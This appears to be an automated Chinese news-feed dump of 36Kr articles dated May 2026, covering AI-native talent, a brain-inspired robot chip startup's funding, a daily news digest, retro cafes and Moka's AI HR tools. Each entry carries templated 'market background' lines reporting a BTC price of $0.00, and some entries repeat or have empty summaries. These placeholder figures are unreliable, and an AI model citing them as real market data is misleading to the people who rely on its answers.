这在OPC时代或者AI时代来之前是不敢想象的事情，但现在AI帮助我们快速实现了，大量的岗位都是我们一个人在顶。很少见团队疯狂招开发，除非他判断自己的业务是无限上升的，才会招大量的人。帮主：肖总，我看到一个数据，现在招聘市场有30%的企业在赶AI原生人才的时髦。为什么这些企业，是真的缺人，还是不懂AI？为什么会有这样的心理状态？肖玛峰：我每年见两三百个CEO、企业家，遇到的企业家尤其是传统行业企业家是非常焦虑的。大家都可以逐渐感受到AI特别强，不管是海外的接近万亿美金，还是中国智谱这样的公司。智谱股价最近非常坚挺，市值5000亿以上，这样的公司三四年时间就变得比它原来同领域的生意庞大得多。我那天看一个数据，京东员工接近一百万人，京东市值才三四千亿港币；智谱这样的公司只有三四百人，市值就已经超过了它。越是人多的企业老板越慌，不知道哪天来了一个什么东西就把他颠覆了。我跟大家讲一个秘密，大公司的老板希望知道我的员工有没有在工作、有没有在好好用AI，再一看公司AI原生的人特别少，AI Native的人他看不到，他很慌，不知道从哪里找到AI的人。以前传统的招聘方式是通过HR用一个过滤漏斗联系那些人，顶级AI人才完全不可能通过这样的渠道找到。甚至有一些人，你找他他都不愿意跟你交流。大模型最早出来的时候是光年之外，王慧文做的那家公司，我们正好是同一个股东。老王创业第一天就让我们帮他去美国西部硅谷找OpenAI里面的华人，我们兴致勃勃地跟人交流，说中国美团老王要来硅谷了，你愿不愿意见一见，人家说老王是谁。OpenAI的研究人员不知道大名鼎鼎的老王是谁。他们是很焦虑，希望找到AI原生的人。帮主：我听着都这么焦虑，已经这么知名了，AI的原生人才或者00后，不爱跟你们这群老登玩，关注都不关注你们。AI原生人才到底从哪里来？亦庄有一个著名的OPC社区，也是特色，OPC是不是所谓的AI原生人才的富矿，如果想来这里挖人才，怎么才能不踩坑？肖玛峰：目前大家在炒的OPC，很多都是AI原生的人，降低了创业门槛，一个人就可以通过一个Agent团队把原来要很多人做的事情做成。但另一方面AI又在拔高OPC创业的门槛，只有把AI用好的人，才能真正成为出色的OPC，也就是大家认可的OPC。我不觉得这些企业找AI原生的人一定要去OPC群体里找。OPC的人应该是AI原生的人，但AI

文章来源

标题: 圆桌对话：人才特种兵：“AI原生人才”与“产业老炮”的共生手册| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3821533415985283?f=rss
时间: 2026-05-23 15:05:47 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3821533415985283?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T09:00:15.949550+00:00

圆桌对话：当AI进入产业前线：未来最稀缺的AI人才，会是谁？| 2026AI Partner·北京亦庄AI+产业大会

Sat, 23 May 2026 09:00:14 +0000

原文摘要

文章来源

标题: 圆桌对话：当AI进入产业前线：未来最稀缺的AI人才，会是谁？| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3821542483857801?f=rss
时间: 2026-05-23 15:14:29 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3821542483857801?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T09:00:14.826570+00:00

36氪首发 | 北大项目孵化，国内首家原生机器人“大脑芯片”企业获数亿元融资

Sat, 23 May 2026 06:00:20 +0000

原文摘要

作者 | 乔钰杰编辑 | 袁斯来硬氪获悉，北京维泛智能科技有限公司（以下简称“维泛智能”）近日完成数亿元种子轮融资，由中关村资本及旗下启航投资联合领投，上海未来产业基金、石溪资本、佰维存储、燕创集团、海益投资、探元创投共同投资。维泛智能成立于2025年5月，孵化自北京大学类脑芯片实验室（PAICORE Lab），专注于具身智能“大小脑”融合芯片研发，致力于打造全国产化机器人核心计算方案。联合创始人殷积磊毕业于北京大学，拥有超过20年半导体行业经验，曾任知存科技COO兼研发副总裁，以及IBM、GlobalFoundries芯片研发总监，并曾在MTK、VIA等企业从事芯片研发工作。团队核心成员均来自IBM、华为、腾讯等行业头部企业。随着具身智能快速发展，机器人“大脑”算法持续演进，对通用芯片平台提出了更高要求。机器人“大脑”芯片不仅需要承载多模态感知与AI推理，还需要兼顾运动控制等核心计算任务，是机器人完成交互、决策与执行的“中枢神经”。目前，具身智能“大脑”芯片市场高度依赖英伟达Jetson系列，但存在着价格高昂、本地化支持有限，商业化部署门槛较高问题。另一方面，国产芯片目前尚无成熟产品能够真正满足机器人端侧“大脑”需求。针对机器人芯片在“算力—能效—成本”之间的平衡难题，维泛智能充分利用团队前期在类脑芯片深耕多年的技术积累，自主研发了类脑启发式GPU架构（Brain-Inpsired GPU，BiGPU)，融合类脑计算与通用GPU计算能力，为具身智能SOTA大模型原生设计。通过引入类脑计算机制降低功耗，同时保留GPU对多种算法框架的通用适配能力，从而兼顾低功耗、高能效与算法灵活性。

（图源/企业）殷积磊介绍称，神经网络中超过80%的计算量集中于矩阵乘累加（GEMM）操作。为了在保证算力效果的前提下降低数据量与带宽需求，维泛智能通过编码转换，将传统神经网络计算（ANN）转化为脉冲神经网络（SNN）形式的累加计算，在保留功能的同时显著降低功耗与带宽压力。此前，维泛智能已申请支持ANN与SNN网络结构统一软硬件方法及相关装置专利，实现SNN与ANN指令格式及地址编址的统一。相比传统异构方案需要维护两套系统与工具链，该方案能够共享统一指令集与软件工具链，并深度兼容主流软件生态，从而降低开发复杂度与生态接入成本。据了解，公司整体研发周期规划为两年，目前项目进度已过半，预计于2027年第二季度实现芯片投产。本轮融资将主要用于扩大研发团队、完成指令集架构开发，以及推进产品定义与实现方案落地。以下为硬氪与维泛智能创始人殷积磊访谈节选（略经编辑）：硬氪：为什么选择用类脑计算路线做机器人大脑芯片？殷积磊：类脑计算本质上是下一代人工智能的重要方向。我们其实是在用下一代技术解决当下问题，同时为未来算法演进提前预留计算平台。目前，我们既能够支持Attention Transformer、VLA、世界模型等主流架构，也能够运行类脑神经网络，以及两者融合后的新型模型。从长期来看，类脑计算被认为是通向AGI的重要路径之一，它具备极低功耗和多功能集成潜力。比如人脑的功耗只有20瓦左右，但却能够完成高度复杂的感知与决策任务。我们希望BiGPU不仅服务当前机器人算法，也能够承载未来新的智能计算范式。硬氪：此前有企业尝试将类脑计算用于机器人大脑芯片设计吗？难点主要在哪？殷积磊：此前行业内确实有一些类脑计算商业化尝试，但大多采用的是纯SNN计算或者异构方案。所谓异构，是把SNN（脉冲神经网络）计算模块和传统NPU模块拼接在一起，本质上仍然是两套系统。我们的做法是同构融合，相当于把通用GPU计算能力和类脑计算核心融合在同一个架构里。这样最大的好处，是能够共享同一套指令集和软件工具链，并进一步实现主流生态兼容。真正的难点在于，团队既要理解类脑计算，也要理解通用计算架构，才能在底层完成两种技术路线的融合。硬氪：公司目前有和机器人厂商展开合作吗？殷积磊：有，目前我们已经在和一些头部机器人公司进行合作沟通，其中部分项目已经进入实际合作阶段。投资方观点中关村资本董事长孙次锁：多领域技术融合是当下硬科技投资的新特征，中关村资本时刻保持对前沿技术的高度敏感性。维泛智能的类脑芯片是典型的交叉学科应用，通过对任务的深层次拆分高效提升器件层执行能力，这种技术能力离不开北京大学在类脑芯片领域的多年积淀。中关村资本希望结合自己的集成服务能力，与维泛智能团队一同在端侧场景呈现出兼顾性能与功耗的推理AI芯片。启航投资董事总经理李磊：启航投资聚焦新一代人工智能、高端核心芯片等国家级战略性硬科技赛道，重点投资拥有底层原始创新、突破产业瓶颈、可实现自主可控与规模化产业赋能的优质科创企业。投资维泛智能，核心看好公司在具身智能类脑芯片领域的差异化技术壁垒，有望解决端侧具身智能“高能耗、低实时、弱自适应”的行业痛点。启航投资将全方位赋能企业技术迭代、产品量产与标杆场景落地，助力公司持续夯实技术护城河，加速国产替代进程。上海未来产业基金李然：维泛智能聚焦具身智能“大小脑”融合芯片，属于上海重点布局的类脑智能+具身智能交叉硬核赛道。公司自主研发BiGPU 类脑启发式GPU架构，实现ANN与SNN同构融合，技术路线具备原始创新与替代价值。本次投资维泛智能，核心是立足上海类脑智能未来产业集聚区战略布局，锚定具身智能核心芯片自主可控，推动前沿技术与产业生态协同落地。石溪资本合伙人韩楠：投资维泛智能这家类脑芯片企业，核心看好三点。第一是赛道趋势，全球AI正在从高功耗大算力，转向端侧超低功耗智能，类脑计算是产业发展必然方向；第二是团队与技术，公司拥有成熟的全栈研发能力，在脉冲神经网络、神经形态架构上形成自主核心技术，摆脱传统算力局限；第三是落地前景，产品精准匹配人形机器人大脑、边缘智能、工业智能等实体产业需求，商业化路径清晰。未来随着下游应用全面爆发，企业有望快速实现规模化放量，成长空间值得长期期待。海益投资合伙人秦祥龙: 维泛智能依托独创类脑+通用计算芯片架构，专注于在端侧打造适配多场景、高性价比的“大小脑”融合芯片。公司创始团队深耕具身场景理解、芯片架构设计、工具链、算法研发及工程化落地全链条，技术积淀深厚、实战经验充足。同时维泛创始人的成功创业履历和海益团队在过往也建立了非常好的默契和信任。海益投资看好维泛智能紧扣国家科技发展战略，聚力国产自主可控芯片，未来发展前景广阔。

文章来源

标题: 36氪首发 | 北大项目孵化，国内首家原生机器人“大脑芯片”企业获数亿元融资
来源: tech
链接: https://36kr.com/p/3821371042877575?f=rss
时间: 2026-05-23 12:20:48 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3821371042877575?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-23T06:00:20.046878+00:00

9点1氪丨永辉超市向王健林等追债超36亿元；《柳叶刀》：全球近12亿人有精神障碍；微信回应“只能撤回2分钟内消息”

Sat, 23 May 2026 06:00:19 +0000

原文摘要

今日热点导览

曝泡泡玛特8.8亿买楼：不予置评雷军透露小米YU7临时降价教育部拟同意设置34所新大学腾讯承诺不再与相关版权方达成或变相达成版权独家授权合同特朗普凯旋门方案获批

TOP 3大新闻永辉超市向王健林等追债超36亿元 5月21日，永辉超市发布公告称，公司于近日收到法院出具的《受理案件通知书》。永辉超市与大连御锦贸易有限公司（以下简称大连御锦）、王健林、孙喜双、大连一方集团有限公司（以下简称一方集团）仲裁裁决一案，上海国际经济贸易仲裁委员会作出的裁决文书已发生法律效力。经公司向法院申请执行，法院出具了《受理案件通知书》，决定立案执行。涉案金额为剩余股份转让价款36.39亿元及相关违约金、律师费、仲裁费等其他费用。 36氪获悉，天眼查App显示，王健林名下关联40余家企业，其中10家处于存续或者迁出状态，其余企业已注销或被吊销。风险信息显示，王健林现存多条股权冻结信息。（中国证券报、36氪）《柳叶刀》：全球近12亿人有精神障碍，相较1990年人数增长了95.5% 英国杂志《柳叶刀》5月21日刊载研究报告显示，2023年全球有近12亿人有精神障碍，相较1990年人数增长了95.5%。研究人员发现，从1990年到2023年，全球范围内，12种精神障碍的患者都有增加。其中，焦虑症和抑郁症患者增多最为显著，相比1990年分别增长了158%和131%。（央视新闻）微信回应“只能撤回2分钟内消息” 5月22日，微信官方账号“微信派”发文解释了微信消息撤回功能的设计逻辑。文中明确，不同类型消息的撤回时限不同：文字、语音、图片、视频等消息可在发送后2分钟内撤回；而Word、Excel、PPT、PDF等文件类消息的撤回时限则为小时。微信团队解释称，2分钟的设计依据是，对方大概率尚未读完消息，撤回相当于“重新说”，不会打断聊天节奏；而超过2分钟对方通常已阅读甚至回复，此时撤回反而增加尴尬。文件类消息之所以享有更长时限，是因为接收方查看文件天然存在“时差”——可能正在开会或通勤中，3小时能提供足够的缓冲。值得注意的是，如果撤回不限时，发送者就能随意篡改聊天记录。借钱记录、工作安排、商务承诺，谁都可以说删就删。（凤凰网科技）大公司/大事件多家山姆货架现熟食残渣和空瓶子等，客服回应近期，山东济南、青岛两家新开业的山姆会员商店内，接连出现顾客未结账就地食用商品，食用残渣、空瓶随意丢弃在卖场货架区域的现象。相关现场画面在网络平台传播，引发公众关注。5月22日，界面新闻向山姆客服了解针对上述行为是否有相应的管理措施，对方表示，相关情况会进行记录，也会反馈给相关部门。此次疑似出现不文明消费现象的两家门店，均于2026年5月正式开业。两家门店开业期间客流处于高位，多款网红熟食、饮品商品受到消费者追捧，开业初期门店日常接待客流量显著高于常规时段水平。（界面新闻）曝泡泡玛特8.8亿买楼，官方回应：不予置评 5月22日，近日有消息称，“泡泡玛特以8.8亿元购入北京太古坊二期（原颐堤港二期）整栋写字楼，建筑面积约4.4万m²，地上16层，或将作为总部大厦。”针对上述传闻，泡泡玛特官方不予置评。（东方财经）雷军透露小米YU7临时降价在5月21日举办的小米汽车新品发布会上，按照官方现场公布的最新信息，小米YU7标准版起售价为23.35万元，零百加速5.90秒，最大马力320PS，最高时速220km/h。发布会后接受媒体群访时，雷军透露，小米YU7标准版23.35万的起售价是顶着非常大的成本压力敲定的，最开始的定价方案原本是23.99万元，团队挤了很多内部供应链和运营环节的利润，就是为了让用户实实在在感受到小米的诚意。（新浪科技、快科技）京东618将用AI数字人打造全网首档AI购物直播晚会 36氪获悉，京东宣布将于6月1日晚8点推出全网首档A购物直播晚会《京东618·赛博联欢会》。据了解，晚会用京东JoyStreamer多模态数字人生成能力，重现美猴王、海尔兄弟、大头儿子、卡皮巴拉小黄豚等经典IP，以AI数字人形象演绎童年经典。 Spotify和环球音乐达成合作：允许订阅用户创作AI翻唱作品 5月22日消息，Spotify和环球音乐集团达成了一项合作，将允许用户使用人工智能创作翻唱歌曲和混音。外媒称，预计这项功能将以付费服务形式推出。订阅Spotify Premium的用户可以对参与授权计划的艺人歌曲进行混音，并创作AI翻唱作品。Spotify表示，除了现有的版税收入外，这项新功能还能为艺人和词曲作者创造额外的收入来源。Spotify联席CEO Alex Norström表示，Spotify的强项是解决音乐领域的难题，而粉丝制作的翻唱和混音将是下一步的发展方向。（环球网科技）香港证监会要求：提高开户标准香港证监会今天发出通函，列明在开立帐户及维持客户关系时应实施的监控措施。该通函是在证监会对12家证券经纪行的开户作业手法进行检视后发出的。有关检视识别出多项重大缺失，包括开户文件的尽职审查不足，在开户过程中接受可疑或伪造文件，及在管理与海外中介人的跨境代理关系方面的弱点。证监会对客户帐户有可能遭不当使用来进行可疑或不法交易，及因而加剧的洗钱及恐怖分子资金筹集风险，深表关注。证监会要求所有持牌法团在切实可行的情况下尽快进行内部核查，以侦测是否有任何可疑或伪造文件曾被接受用来开立帐户。（财联社）教育部拟同意设置34所新大学 5月21日，教育部网站发布《关于拟同意设置本科高等学校的公示》称，根据《中华人民共和国高等教育法》《普通高等学校设置暂行条例》《普通本科学校设置暂行规定》《本科层次职业学校设置标准（试行）》等有关规定，经教育部党组会议审议，拟同意设置常州信息职业技术大学等34所学校，现予公示。公示时间为2026年5月21日至5月27日。公示信息显示，34所新大学中，22所为职业本科。2019年，国家开展本科层次职业教育试点，打破了职业教育专科学历的“天花板”。近年来，职业本科学校队伍日益壮大。（第一财经）腾讯承诺不再与相关版权方达成或变相达成版权独家授权合同 36氪获悉，腾讯控股有限公司、腾讯音乐娱乐集团发布公告，国家市场监督管理总局于2026年5月11日发布《关于附加限制性条件批准腾讯控股有限公司收购喜马拉雅公司股权案反垄断审查决定的公告》（以下简称“《决定》”）。根据《决定》所附《附加限制性条件承诺方案》（以下简称“《承诺方案》”）要求，公司承诺不再与《承诺方案》中定义的版权方（以下简称“相关版权方”）达成或变相达成版权独家授权合同，并将于《承诺方案》规定期限内解除现有各种形式的独家授权合同。证监会拟对富途罚款18.5亿，老虎证券罚没4.112亿据“证监会发布”微信公众号22日消息，近日，证监会依法对Tiger Brokers (NZ) Limited（以下简称老虎）、富途证券国际（香港）有限公司（以下简称富途）、长桥证券（香港）有限公司（以下简称长桥）境内外相关主体在境内非法经营证券业务等行为立案调查并作出行政处罚事先

文章来源

标题: 9点1氪丨永辉超市向王健林等追债超36亿元；《柳叶刀》：全球近12亿人有精神障碍；微信回应“只能撤回2分钟内消息”
来源: ai
链接: https://36kr.com/p/3821177784881541?f=rss
时间: 2026-05-23 09:13:16 +0800

核心内容

今日热点导览

内容来源：ai 原文链接：https://36kr.com/p/3821177784881541?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T06:00:19.259811+00:00

千禧年流行的老式漂亮饭，居然翻红了

Sat, 23 May 2026 06:00:18 +0000

原文摘要

过去这几年，餐饮行业的新店越开越多，淘汰速度也越来越快。精致餐饮仍在发展，但人们愿意为摆盘和氛围买单的冲动在减弱，转而开始寻求一种体面而高性价比的社交空间。在这样的节奏中，上岛咖啡、米萝咖啡、老树咖啡、良木缘、绿茵阁、豪享来等颇具年代感的老式咖啡餐吧，又开始悄悄爬上了年轻人的打卡清单。二三十年前，它们是城市里最洋气的餐厅，菜单上写着影视剧男女主角才会点的黑椒牛排意面和卡布奇诺咖啡。隔壁桌是商务人士谈生意，或是时髦情侣在约会，小朋友则眼巴巴地等着大人给自己点上一碗香蕉船。

2001年10月30日，杭州萧山机场的上岛咖啡连锁店。（图/视觉中国）当我们开始习惯生活中出现的各种网红餐厅与精品咖啡店时，老牌咖啡餐吧就不再是“高档”首选。但热爱“老派约会”的年轻人，永远对它们情有独钟。老式咖啡厅多少人的童年顶流？以前想要到老式咖啡餐吧吃顿饭，得软磨硬泡好久，考了第一名、过生日或者爸妈实在拗不过了自己，才能走进它们的大门。那时，老式咖啡餐吧代表着一种独特的仪式感，进门前深吸一口气，就能踏入一个和日常完全不同的世界。餐厅里播着爵士乐，每桌都是暗红或墨绿色的皮革沙发卡座，座位旁边是半人高的绿植。头顶的水晶吊灯，灯光恰到好处地照着墙上看不懂的插画，营造出一种当时难得一见的“优雅”氛围。

甜品香蕉船，多少孩子的童年回忆。（图/图虫创意）食物则是这段回忆的重中之重，那块如今看来肉质平平的牛排端上来时总是让人充满期待，自己第一次模仿大人的样子使用刀叉时的局促与新奇至今难忘。冰淇淋永远装在细长的杯子里，表面是巧克力酱和奶油，顶上还要插一片威化饼干或者一颗鲜红的樱桃。吃到最后，甚至想不顾形象地端起杯子，把杯底融化的甜水一饮而尽。在那个生活方式不算丰富的年代，很多家庭把老式咖啡餐吧当成周末的固定据点。大人们点一杯咖啡就开始谈天说地，讲一些小孩们听不懂的“大事”。孩子们则窝在卡座里翻那些看不太懂的杂志、报纸，一边嘬着奶昔，把吸管咬得很扁，一边许下“宏愿”：长大后要自己花钱来这里，想点什么就点什么，想坐多久就坐多久。多年之后，老式咖啡餐吧也不再是城市中的潮流地标。它们从商场最显眼的位置，缩进了临街商铺的二楼、巷子的拐角，却在不经意间重新捕获了新一代年轻人的目光，成为新晋“宝藏小店”。

上岛咖啡成了梦核风拍照打卡点。（图/小红书截图）老式咖啡餐吧正在被重新选择过去，成都良木缘咖啡厅里厚重的木质家具上繁复的雕花、略显昏黄的灯光，被戏称为“欧式贵族风”。在很长一段时间里，约几个朋友一起去良木缘写作业、喝下午茶，是小孩们“奢侈”的课余活动。如今，良木缘的装修融入了更现代的设计，整体环境变得更加明亮、舒适，且不同门店有着差异化设计。邻近大学的门店甚至推出了专门的自习区域，咖啡还可以续杯。曾经那个“有钱孩子才能去”的咖啡厅，以一种更日常的姿态，重新进入了人们的视野。

“有钱孩子才能去”的咖啡厅，如今已经转型。（图/网页截图）同样发生变化的，还有上岛咖啡。上岛品牌初到大陆时，凭借“有腔调”的调性，成为了都市白领和商务人士洽谈业务、享受闲暇的首选之地。在巅峰时期，上岛咖啡及其衍生品牌在全国的门店数量一度达到惊人的3000家。近些年许多上岛咖啡已经逐渐关店，但现存的店里，菜品变得越来越“接地气”了。除了牛排、意面和咖啡外，菜单上还赫然出现了农家土鸡、芥末鸭掌、毛血旺甚至水煮鱼。

到上岛咖啡吃川菜……还是太超前了。（图/网页截图）小时候觉得高攀不起的地方，加入了中餐fushion后，反而透着一股莫名的亲切感。它不再是精英的专属，而变成了一个谁都可以进来歇歇脚的地方。还有一部分人重新走进老式咖啡餐吧时，是为了找回熟悉的记忆，那些与店名、菜单乃至装潢牢牢绑定的幸福瞬间。来自厦门、主打平价牛排的豪享来，用牛排搭配铁板意面、一个煎得恰到好处的荷包蛋，再淋上浓郁的黑胡椒酱，甚至还会附送一小杯红酒。一套“组合拳”下来，豪享来不知完成了多少孩子的西餐启蒙。

老式咖啡餐吧的记忆，长大后依然“刻骨铭心”。（图/网页截图）如今重新走进店门，那熟悉的铁板嗞嗞声，那杯甜得发腻的红茶，足以将人瞬间拉回那个无忧无虑的人生阶段。同样是在西餐对于大多数国人而言还算是贵价舶来品的年代，许多人在广州绿茵阁里喝到了人生的第一杯咖啡，第一次知道西冷和肉眼的区别，也会亲切地称呼它为“渌亲脚”。 30多年后的今天，那些在绿茵阁里拍拖恋爱，如今为人父母的广州人，仍然会带着孩子们重新回到这里，点一桌忌廉汤、肉眼扒、意粉和甜品。对老顾客而言，这里是青春记忆的载体；对年轻人来说，这种未经刻意做旧的复古感，又构成了一种独特的吸引力。

绿茵阁咖啡厅。（图/IC Photo）承载着一代人记忆的老式咖啡餐吧，在时代的洪流中走出了截然不同的命运轨迹。而那群在老式咖啡餐吧陪伴下长大的孩子们，总会在不同时期重新选择它们，哪怕只是为了圆自己一个童年梦想。老式咖啡餐吧接住了多少装松弛的年轻人这两年社交平台上流行一个词叫“漂亮饭”，特指去那些摆盘精美、色调高级、让人忍不住拍照的餐厅吃饭。菜品味道未必惊艳，但一顿饭下来，手机相册一定已经“吃饱”了。如果二三十年前社交媒体与摄影技术同样流行，那么这些老式咖啡餐吧一定会成为当时的“漂亮饭”顶流。但如今，被融合餐厅昂贵的价格和五花八门的“主理人规则”劝退的年轻人，反而在这些餐吧中真的松弛了下来。

喝腻了贵价特调咖啡的年轻人，逐渐发现了老式咖啡餐吧的好。（图/视觉中国）无他，20多元一杯美式咖啡，五六十元的牛排套餐，和许多网红店相比便宜一截。你可以穿着拖鞋窝在卡座里，点上一桌小时候不敢奢望的美食，好好款待童年的自己。拍摄需求也不会被落下，复古的木楼梯、深绿色卡座和水晶吊灯，随便一拍就有千禧年的复古味道。不过，年轻人走进老式咖啡餐吧，也不只是为了拍照或者怀旧。从诞生那天起，老式咖啡餐吧就具备了一种奇特的包容性。它们不只是咖啡店，还是第一批本土化的西餐厅，让许多人以相对融合、友好的方式初次体验了大洋彼岸的新奇生活。

每个人的心中都有自己怀念的老式咖啡餐吧。（图/图虫创意）如今大家见惯了各种场面，早就没了当年的拘谨。老式咖啡餐吧也褪去了“高级”的滤镜，它从不试图掩盖自己的陈旧，而是乐于成为人们精彩生活中的背景板。但至少在每个人心中最爱的老式咖啡餐吧里，我们仍然被允许怀念童年的香蕉船，怀念那个曾经无忧无虑的自己。本文来自微信公众号“新周刊”，作者：牧羊，36氪经授权发布。

文章来源

标题: 千禧年流行的老式漂亮饭，居然翻红了
来源: ai
链接: https://36kr.com/p/3821213026570627?f=rss
时间: 2026-05-23 09:41:23 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3821213026570627?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T06:00:18.582866+00:00

用AI来管公司，Moka推出三款AI HR工具｜涌现新栏目

Sat, 23 May 2026 06:00:16 +0000

原文摘要

作者｜梁键强编辑｜王毓婵一句话介绍 Moka为AI人力资源软件服务商，早期从智能化招聘管理系统起步，后逐步扩展至更完整的HR管理系统。5月，Moka上线了招聘Eva、人事Eva和BPEva三款AI HR产品。招聘Eva覆盖招聘全流程，辅助企业完成识人、筛选和面试；人事Eva聚焦报表处理、流程流转和员工咨询等重复事务；BPEva则用于动态更新人才画像，辅助企业进行人才识别和组织决策。支撑这三款产品的是Moka AI工坊，它相当于底层能力平台，可以让企业用业务语言描述需求，具有快速响应、个性化定制和安全上线等能力。

图片来源：Moka 团队介绍 Moka联合创始人兼CEO李国兴，本科阶段获得上海交大和密歇根大学计算机双学位，后取得斯坦福大学计算机硕士学位。曾任职于Facebook和智能数据监控公司SignalFx。2015年回国创办Moka，并带领公司从招聘管理系统起步，逐步将AI Agent引入招聘、人事和组织管理等HR场景。融资进展此前已完成老虎环球基金领投的C轮一亿美元融资。总融资规模近1.5亿美元。产品及业务去年，脉脉高聘人才智库发布的《2025年度人才迁徙报告》显示，2025年1月至10月，新经济行业人才供需比升至2.23，意味着平均2.23名求职者竞争1个岗位，求职端竞争进一步加剧。企业端的用人需求也在回暖。报告显示，自2025年6月起，新经济行业每月新发岗位量均超过去年同期，其中AI岗位量单月增长11倍，出海相关岗位新增16.99%。一边是人才竞争压力加剧，一边是岗位需求回升，企业面对的人才匹配问题也变得更复杂。对 HR 来说，工作不只是更快找到合适候选人，还包括理解业务战略背后的用人需求，并持续处理员工沟通、人才保留和组织调整等问题。 Moka联合创始人兼CEO李国兴指出，当前HR的工作长期被大量事务性流程占据，真正能投入人才战略、组织设计和员工沟通上的时间并不多。面对更高频、更复杂的人才流动和管理需求，AI工具有了进入招聘、人事和人才管理场景的空间。这次发布的招聘Eva、人事Eva和BPEva产品，分别对应招聘、人事和人才管理三个核心场景。李国兴希望通过这三款产品，把一部分重复、琐碎、流程化的工作交给AI，让HR回到更高价值的组织工作中。招聘Eva主要面向招聘流程。它不仅负责简历筛选、面试纪要这类任务，还贯穿了简历理解、候选人搜索、初筛、约面、面试反馈和Offer推进等环节。

图片来源：Moka 在招聘场景中，Eva的特长在于记忆和校准能力。很多企业的岗位招聘并不是一次性需求，而是长期持续进行。招聘Eva能够在这个过程中不断理解企业的用人偏好、岗位画像和判断标准，并根据候选人初筛、面试结果等反馈动态调整。比如，当某些候选人在初筛阶段被淘汰，或在面试后被认为不合适，这些信息都可以反过来帮助Eva校准岗位画像，逐渐理解企业、部门甚至个人的偏好。招聘Eva还具备“面试教练”的功能。在视频面试中，它可以实时读取面试内容，给面试官提供追问建议，并在面试结束后生成面试纪要和面试质量报告。人事Eva面向更高频、更重复的人事事务，主要处理数据报表、日常事务流程、员工咨询等工作，包括员工入职后的信息录入，假期、考勤、薪资数据校验，排班生成，流程自动化，以及数据巡检等。李国兴称，人事Eva可承接HR 70%-80%的重复性事务工作。 BPEva面向的是人才管理和组织决策。相比招聘Eva和人事Eva，它处理的不是具体流程，而是更善于“理解人的需求”。Moka希望通��BPEva构建动态人才画像，帮助企业识别员工能力、岗位匹配和潜在发展风险。传统人才管理多依赖季度、半年或年度盘点，周期较长，也容易滞后。BPEva的作用，是在授权前提下读取会议纪要、文档等数据，动态更新员工画像，帮助HR及时发现员工状态变化、岗位匹配和潜在流失风险。三款Eva的底层能力来自Moka AI工坊。它可以承接不同企业的个性化需求，将业务语言转化为具体能力配置，并通过沙盒预演、存档和回滚等功能，减少上线后的不确定性。在Moka看来，对企业用户来说，未来使用HR系统的方式可能会发生变化。过去是人在系统里操作流程，之后则可能更多变成在熟悉的办公软件里，直接和Eva对话、派发任务、接收提醒等。 Founder思考

AI接手流程性工作后，HR的价值会更多回到人和组织本身

AI HR的出现，会给HR的工作方式带来直接变化。过去，HR很大一部分时间被招聘推进、入离职流程、员工沟通、人事数据、BP事务等日常工作占据。虽然企业经常讨论人才战略和组织建设，但在实际工作中，HR很难真正把大量时间投入到这些更高价值的事情上。当事务性工作被AI分担后，未来HR的角色会更偏向两类工作。第一是成为信任的建立者。员工愿不愿意表达真实想法、沟通自身状态，本质上依赖人与人之间的信任，这仍然很难完全交给AI。第二是成为人才和组织的架构师。比如根据公司业务方向、战略重点和组织现状，判断人才结构是否合理、组织是否需要调整等。这类涉及方向判断和组织设计的决策，仍然需要HR负责人和管理层共同完成。

招聘、人事和BP，是HR Agent最容易落地的三类场景

从过往经验、产品能力来看，招聘、人事和BP是最容易被AI Agent切入、也最有落地价值的方向。招聘是多数企业长期存在的需求，流程也相对繁琐。一个企业里，HR团队中人数最多的往往是招聘团队。招聘不仅涉及简历筛选，还包括岗位需求理解、候选人搜索、约面、面试反馈和Offer推进。过去这些环节需要HR人工串联，而Agent的价值在于，它可以把这些分散任务连接起来，推动流程继续往前走。人事事务则是另一类适合Agent介入的场景。它的特点是高频、重复、细节多，而且不能出错。比如假期、考勤、薪资、排班、入离职流程、员工咨询等。对HR来说，这类工作占用时间，但很难体现其价值。虽然每家企业规则不同，但一旦规则进入系统，AI就可以根据配置，协助处理这些问题，节省HR的时间。 BP对应的是人才和组织问题，这也是CEO和HR一号位更关心的部分。它不像招聘和人事那样更侧重于处理流程，而是试图回答“人和岗位是否匹配”“员工是否有发展风险”“组织里哪些人需要被看见”等问题。

AI HR让员工价值更容易被客观评价，也更容易被看见

员工能力成长、协作表现、学习能力、岗位匹配情况，都会在日常工作中留下痕迹。如果这些信息能够被线上化、结构化，并被AI读取，员工的亮点就可能更早被发现。过去，员工表现往往高度依赖管理者的主观评价。如果领导了解某个人、认可某个人，他的贡献可能更容易被看见；如果员工不擅长表达，或者与直接管理者风格不匹配，也可能在组织中被埋没。如果AI能在授权前提下读取更多客观工作数据，比如文档、会议纪要、项目进展、绩效结果、代码、CRM记录等，它就有机会从更多维度识别员工的真实贡献。这样一来，组织对人的判断就不只依赖某一次汇报、某个领导的评价，或者短期的人才盘

文章来源

标题: 用AI来管公司，Moka推出三款AI HR工具｜涌现新栏目
来源: ai
链接: https://36kr.com/p/3819979202253189?f=rss
时间: 2026-05-23 10:00:00 +0800

核心内容

AI接手流程性工作后，HR的价值会更多回到人和组织本身

招聘、人事和BP，是HR Agent最容易落地的三类场景

AI HR让员工价值更容易被客观评价，也更容易被看见

内容来源：ai 原文链接：https://36kr.com/p/3819979202253189?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-23T06:00:16.567998+00:00

36氪首发 | 北大项目孵化，国内首家原生机器人“大脑芯片”企业获数亿元融资

Sat, 23 May 2026 06:00:15 +0000

原文摘要

文章来源
